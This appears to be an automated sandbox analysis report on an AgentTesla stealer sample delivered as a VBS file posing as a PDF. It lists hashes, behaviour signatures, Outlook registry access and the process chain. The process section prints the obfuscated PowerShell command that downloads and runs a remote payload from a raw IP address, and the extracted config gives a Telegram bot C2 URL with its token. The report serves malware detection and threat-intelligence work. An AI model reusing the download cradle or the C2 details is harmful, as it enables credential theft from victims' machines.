agenttesla | 75e81b26f76f0050408e59a9d3606e0ee6d474ffa9e2296187f582884fa2f59f

General

Target

183287857-050118-sanlccjavap0004-6561_PDF.vbs
Size

440B
MD5

fd5d9dd54f30ebeda49b3f3d9d57d1c6
SHA1

bdc86ae73f8ea542af15ed6a5643b1a9cfd8ea51
SHA256

75e81b26f76f0050408e59a9d3606e0ee6d474ffa9e2296187f582884fa2f59f
SHA512

60857407aa6143be42149dac675348dcbfaa1a9ed8dd66e66fe936dbabca8dd490d3019573fe940631741047e7edb0b0df9730a33ccaf48aed077e939608b7b9

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://202.55.132.106/Bypass3.txt

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot1923270472:AAFHljVp-f8Q5-X0iy70Vfe0aTch5THPa-U/sendDocument

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

AgentTesla Payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3200-150-0x000000000043774E-mapping.dmp	family_agenttesla
behavioral2/memory/3200-153-0x0000000000730000-0x000000000076C000-memory.dmp	family_agenttesla
behavioral2/memory/3200-157-0x0000000004B60000-0x000000000505E000-memory.dmp	family_agenttesla

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

8 724 powershell.exe
21 724 powershell.exe

flow	pid	process
8	724	powershell.exe
21	724	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 724 set thread context of 3200 724 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exeaspnet_compiler.exe

pid process

724 powershell.exe
724 powershell.exe
724 powershell.exe
3200 aspnet_compiler.exe
3200 aspnet_compiler.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description pid process

Token: SeDebugPrivilege 724 powershell.exe
Token: SeDebugPrivilege 3200 aspnet_compiler.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

aspnet_compiler.exe

pid process

3200 aspnet_compiler.exe

description	pid	process	target process
PID 724 set thread context of 3200	724	powershell.exe	aspnet_compiler.exe

pid	process
724	powershell.exe
724	powershell.exe
724	powershell.exe
3200	aspnet_compiler.exe
3200	aspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	724	powershell.exe
Token: SeDebugPrivilege	3200	aspnet_compiler.exe

pid	process
3200	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2500 wrote to memory of 724	2500	WScript.exe	powershell.exe
PID 2500 wrote to memory of 724	2500	WScript.exe	powershell.exe
PID 724 wrote to memory of 3200	724	powershell.exe	aspnet_compiler.exe
PID 724 wrote to memory of 3200	724	powershell.exe	aspnet_compiler.exe
PID 724 wrote to memory of 3200	724	powershell.exe	aspnet_compiler.exe
PID 724 wrote to memory of 3200	724	powershell.exe	aspnet_compiler.exe
PID 724 wrote to memory of 3200	724	powershell.exe	aspnet_compiler.exe
PID 724 wrote to memory of 3200	724	powershell.exe	aspnet_compiler.exe
PID 724 wrote to memory of 3200	724	powershell.exe	aspnet_compiler.exe
PID 724 wrote to memory of 3200	724	powershell.exe	aspnet_compiler.exe

outlook_office_path 1 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe

outlook_win_path 1 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\183287857-050118-sanlccjavap0004-6561_PDF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2500

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &('{1}{0}'-f'X','IE')(&('{1}{0}{2}' -f'je','New-Ob','ct') ('{1}{2}{0}' -f 'WebClient','Ne','t.')).('{2}{3}{1}{0}' -f'dString','nloa','D','ow').InVoKe('http://202.55.132.106/Bypass3.txt')
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:724

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
PID:3200

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Email Collection

1

T1114

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/724-129-0x0000029AF6690000-0x0000029AF6692000-memory.dmp

Filesize
8KB

Download
memory/724-151-0x0000029AF80A0000-0x0000029AF80A1000-memory.dmp

Filesize
4KB

Download
memory/724-117-0x0000029AF6690000-0x0000029AF6692000-memory.dmp

Filesize
8KB

Download
memory/724-118-0x0000029AF6690000-0x0000029AF6692000-memory.dmp

Filesize
8KB

Download
memory/724-119-0x0000029AF6690000-0x0000029AF6692000-memory.dmp

Filesize
8KB

Download
memory/724-120-0x0000029AF6690000-0x0000029AF6692000-memory.dmp

Filesize
8KB

Download
memory/724-122-0x0000029AF8670000-0x0000029AF8672000-memory.dmp

Filesize
8KB

Download
memory/724-121-0x0000029AF8000000-0x0000029AF8001000-memory.dmp

Filesize
4KB

Download
memory/724-123-0x0000029AF8673000-0x0000029AF8675000-memory.dmp

Filesize
8KB

Download
memory/724-124-0x0000029AF6690000-0x0000029AF6692000-memory.dmp

Filesize
8KB

Download
memory/724-125-0x0000029AF6690000-0x0000029AF6692000-memory.dmp

Filesize
8KB

Download
memory/724-126-0x0000029AF6690000-0x0000029AF6692000-memory.dmp

Filesize
8KB

Download
memory/724-127-0x0000029AF6690000-0x0000029AF6692000-memory.dmp

Filesize
8KB

Download
memory/724-128-0x0000029AFA750000-0x0000029AFA751000-memory.dmp

Filesize
4KB

Download
memory/724-152-0x0000029AF6690000-0x0000029AF6692000-memory.dmp

Filesize
8KB

Download
memory/724-133-0x0000029AF8676000-0x0000029AF8678000-memory.dmp

Filesize
8KB

Download
memory/724-144-0x0000029AF8070000-0x0000029AF8094000-memory.dmp

Filesize
144KB

Download
memory/724-116-0x0000029AF6690000-0x0000029AF6692000-memory.dmp

Filesize
8KB

Download
memory/724-115-0x0000000000000000-mapping.dmp

Download
memory/3200-150-0x000000000043774E-mapping.dmp

Download
memory/3200-153-0x0000000000730000-0x000000000076C000-memory.dmp

Filesize
240KB

Download
memory/3200-155-0x0000000005060000-0x0000000005061000-memory.dmp

Filesize
4KB

Download
memory/3200-156-0x0000000004D20000-0x0000000004D21000-memory.dmp

Filesize
4KB

Download
memory/3200-157-0x0000000004B60000-0x000000000505E000-memory.dmp

Filesize
5.0MB

Download
memory/3200-158-0x0000000005000000-0x0000000005001000-memory.dmp

Filesize
4KB

Download
memory/3200-159-0x00000000058C0000-0x00000000058C1000-memory.dmp

Filesize
4KB

Download
memory/3200-160-0x0000000005F90000-0x0000000005F91000-memory.dmp

Filesize
4KB

Download
memory/3200-161-0x0000000005A40000-0x0000000005A41000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads